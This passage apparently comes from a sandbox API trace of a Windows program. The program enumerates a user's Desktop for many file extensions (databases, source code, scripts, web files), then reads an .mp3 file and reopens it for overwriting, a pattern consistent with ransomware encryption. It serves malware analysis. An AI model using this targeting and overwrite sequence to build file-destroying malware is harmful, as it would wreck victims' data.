lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.293] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.sxm", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.294] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.294] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.294] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.sqlite3", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.294] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.294] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.294] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.294] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.sqlitedb", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.295] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.sql", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.295] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.295] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.accdb", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.296] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.296] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.296] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mdb", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.296] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.296] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.296] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.296] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.dbf", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.297] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.297] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.297] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.odb", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.297] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.297] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.297] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.298] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mdf", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.298] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.298] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.298] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.ldf", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.298] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.298] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.299] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.299] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.cpp", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.299] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.299] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.299] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pas", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.299] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.299] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.299] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.300] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.300] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.asm", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.300] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.300] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.300] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.cmd", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.300] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.301] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.301] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.bat", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.301] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.301] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.301] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.301] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.302] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.302] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.sch", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.302] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.302] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.302] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jsp", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.302] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.303] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.303] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.php", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.303] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.303] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.303] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.asp", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.303] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.303] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.304] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.304] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.java", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.304] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.304] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.304] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pkg", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.304] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.304] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.305] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.class", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0xffffffffffffffff [0040.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae800) returned 1 [0040.305] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x105, lpBuffer=0x1ae2f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x0) returned 0x25 [0040.305] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", nBufferLength=0x105, lpBuffer=0x1ae290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpFilePart=0x0) returned 0x26 [0040.305] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp3", lpFindFileData=0x1ae4a0 | out: lpFindFileData=0x1ae4a0) returned 0x1ac59c20 [0040.305] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0040.305] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0040.306] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0040.306] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 1 [0040.306] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae4f0 | out: lpFindFileData=0x1ae4f0) returned 0 [0040.306] FindClose (in: hFindFile=0x1ac59c20 | out: hFindFile=0x1ac59c20) returned 1 [0040.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae750) returned 1 [0040.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae710) returned 1 [0040.306] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aACnSXz37sfFLh0c.mp3", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aACnSXz37sfFLh0c.mp3", lpFilePart=0x0) returned 0x3a [0040.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae640) returned 1 [0040.306] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aACnSXz37sfFLh0c.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aacnsxz37sfflh0c.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae5b0) returned 1 [0040.306] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae7d8 | out: lpFileSizeHigh=0x1ae7d8*=0x0) returned 0x4a24 [0040.307] ReadFile (in: hFile=0x258, lpBuffer=0x293d710, nNumberOfBytesToRead=0x4a24, lpNumberOfBytesRead=0x1ae708, lpOverlapped=0x0 | out: lpBuffer=0x293d710*, lpNumberOfBytesRead=0x1ae708*=0x4a24, lpOverlapped=0x0) returned 1 [0040.308] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aACnSXz37sfFLh0c.mp3", nBufferLength=0x105, lpBuffer=0x1ae160, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aACnSXz37sfFLh0c.mp3", lpFilePart=0x0) returned 0x3a [0040.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae640) returned 1 [0040.309] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\aACnSXz37sfFLh0c.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\aacnsxz37sfflh0c.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0040.310] SetThreadErrorMode (dwNewMode=0x0, 